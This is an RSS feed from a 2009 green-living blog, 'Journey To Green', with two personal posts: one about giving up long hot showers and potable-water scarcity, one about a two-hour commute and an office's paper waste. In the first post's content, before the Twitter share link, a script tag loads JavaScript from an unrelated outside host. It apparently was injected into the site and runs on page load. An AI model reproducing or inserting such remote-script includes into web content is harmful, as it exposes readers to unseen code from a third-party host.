<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Journey To Green &#187; consumption</title>
	<atom:link href="http://www.journeytogreen.org/journeytogreen/blog/index.php/tag/consumption/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.journeytogreen.org/journeytogreen/blog</link>
	<description>my sanity check for a green world</description>
	<lastBuildDate>Sat, 21 Aug 2010 06:29:50 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Giving up the long hot shower is hard to do.</title>
		<link>http://www.journeytogreen.org/journeytogreen/blog/index.php/2009/07/31/giving-up-the-long-hot-shower-is-hard-to-do/</link>
		<comments>http://www.journeytogreen.org/journeytogreen/blog/index.php/2009/07/31/giving-up-the-long-hot-shower-is-hard-to-do/#comments</comments>
		<pubDate>Fri, 31 Jul 2009 12:32:48 +0000</pubDate>
		<dc:creator>Cynthia</dc:creator>
				<category><![CDATA[Comments]]></category>
		<category><![CDATA[General]]></category>
		<category><![CDATA[water]]></category>
		<category><![CDATA[conserve]]></category>
		<category><![CDATA[consumption]]></category>
		<category><![CDATA[dire]]></category>
		<category><![CDATA[energy]]></category>
		<category><![CDATA[hot]]></category>
		<category><![CDATA[potable]]></category>
		<category><![CDATA[shortage]]></category>
		<category><![CDATA[shower]]></category>

		<guid isPermaLink="false">http://www.journeytogreen.org/journeytogreen/blog/?p=33</guid>
		<description><![CDATA[The title of this post was inspired by the Neil Sadaka song "Breaking Up is Hard to Do."  Some how I had a general idea to write about reducing the amount of time I spend in the shower each morning.  ]]></description>
			<content:encoded><![CDATA[<p>The title of this post was inspired by the Neil Sadaka song &#8220;Breaking Up is Hard to Do.&#8221;  Some how I had a general idea to write about reducing the amount of time I spend in the shower each morning.  I do not know how or why that came to mind other than I like hot showers and on more than one occasion, they are extremely long.   So, I must have been feeling a smidgen of guilt.  The operative work is &#8220;smidgen&#8221; because those long hot showers seem to come at the right time.</p>
<p>One often hear how there is a shortage of water or there will be at some point in the future. A shortage so dire that rationing can occur and all kinds of terrible things will happen just to have water.  Initially, it appears to be a dubious claim.  You may think, how can that be?  The reality is the issue is with potable water.  The earth&#8217;s surface is mostly covered in water but  but it&#8217;s salty.  In order for it to be usable, this water would have to be desalinated, which is an extremely expensive process.  What would be done with the by-product?</p>
<p>Is conservation the best way?  Is rain water another options?  Is there freshwater available?  Is transport an issue?  I will continue to think about these questions and more as I try to find ways to cut back on on my water consumption.</p>
<center><SCRIPT type="text/javascript" LANGUAGE="javascript" src="http://www.qksz.net/1e-hs7m"> </SCRIPT></center>
<p align="left"><a class="tt" href="http://twitter.com/home/?status=Giving+up+the+long+hot+shower+is+hard+to+do.+http://9zrdd.th8.us" title="Post to Twitter"><img class="nothumb" src="http://www.journeytogreen.org/journeytogreen/blog/wp-content/plugins/tweet-this/icons/tt-twitter-micro4.png" alt="Post to Twitter" /></a></p>]]></content:encoded>
			<wfw:commentRss>http://www.journeytogreen.org/journeytogreen/blog/index.php/2009/07/31/giving-up-the-long-hot-shower-is-hard-to-do/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Journey to Green is coming undone</title>
		<link>http://www.journeytogreen.org/journeytogreen/blog/index.php/2009/07/07/journey-to-green-is-coming-undone/</link>
		<comments>http://www.journeytogreen.org/journeytogreen/blog/index.php/2009/07/07/journey-to-green-is-coming-undone/#comments</comments>
		<pubDate>Tue, 07 Jul 2009 06:14:09 +0000</pubDate>
		<dc:creator>Cynthia</dc:creator>
				<category><![CDATA[Gasoline Consumption]]></category>
		<category><![CDATA[General]]></category>
		<category><![CDATA[commute]]></category>
		<category><![CDATA[consumption]]></category>
		<category><![CDATA[gasoline]]></category>
		<category><![CDATA[green]]></category>
		<category><![CDATA[journey to green]]></category>
		<category><![CDATA[lifestyle]]></category>
		<category><![CDATA[regression]]></category>

		<guid isPermaLink="false">http://www.journeytogreen.org/journeytogreen/blog/?p=20</guid>
		<description><![CDATA[When I started this blog it was to try and make sense of all the do&#8217;s and don&#8217;t of the moving to a more &#8220;green&#8221; life.  Since then, I&#8217;ve gotten a job that requires me to commute almost two hours a day.  Needless to say this sucks.  Not only from an environmentalystandpoint but a physical one [...]]]></description>
			<content:encoded><![CDATA[<p>When I started this blog it was to try and make sense of all the do&#8217;s and don&#8217;t of the moving to a more &#8220;green&#8221; life.  Since then, I&#8217;ve gotten a job that requires me to commute almost two hours a day.  Needless to say this sucks.  Not only from an environmentalystandpoint but a physical one as well.  It was suggested that I take the train or in my case trains.  It would take me three or more hours to do so.  </p>
<p>In many respects the job I went to mirrors my gasoline consumption in terms of being more wasteful  because I&#8217;ve started wasting more paper, food, and time.  The company is a very heavy paper consumer, that is, they use a whole hell of a lot of paper.  In fact, they have a green committee that prints, the &#8220;green&#8221; newsletter and posts it on a bulletin board on each floor.  I found that hilarious.  What I find depressing is that less than six months ago, I was using much less paper and gas, now I feel like I walked backed to the nineties and can&#8217;t stop.</p>
<p>Is the green movement helpless when companies waste so much under the guise of prodouctivity?</p>
<p align="left"><a class="tt" href="http://twitter.com/home/?status=Journey+to+Green+is+coming+undone+http://za9od.th8.us" title="Post to Twitter"><img class="nothumb" src="http://www.journeytogreen.org/journeytogreen/blog/wp-content/plugins/tweet-this/icons/tt-twitter-micro4.png" alt="Post to Twitter" /></a></p>]]></content:encoded>
			<wfw:commentRss>http://www.journeytogreen.org/journeytogreen/blog/index.php/2009/07/07/journey-to-green-is-coming-undone/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
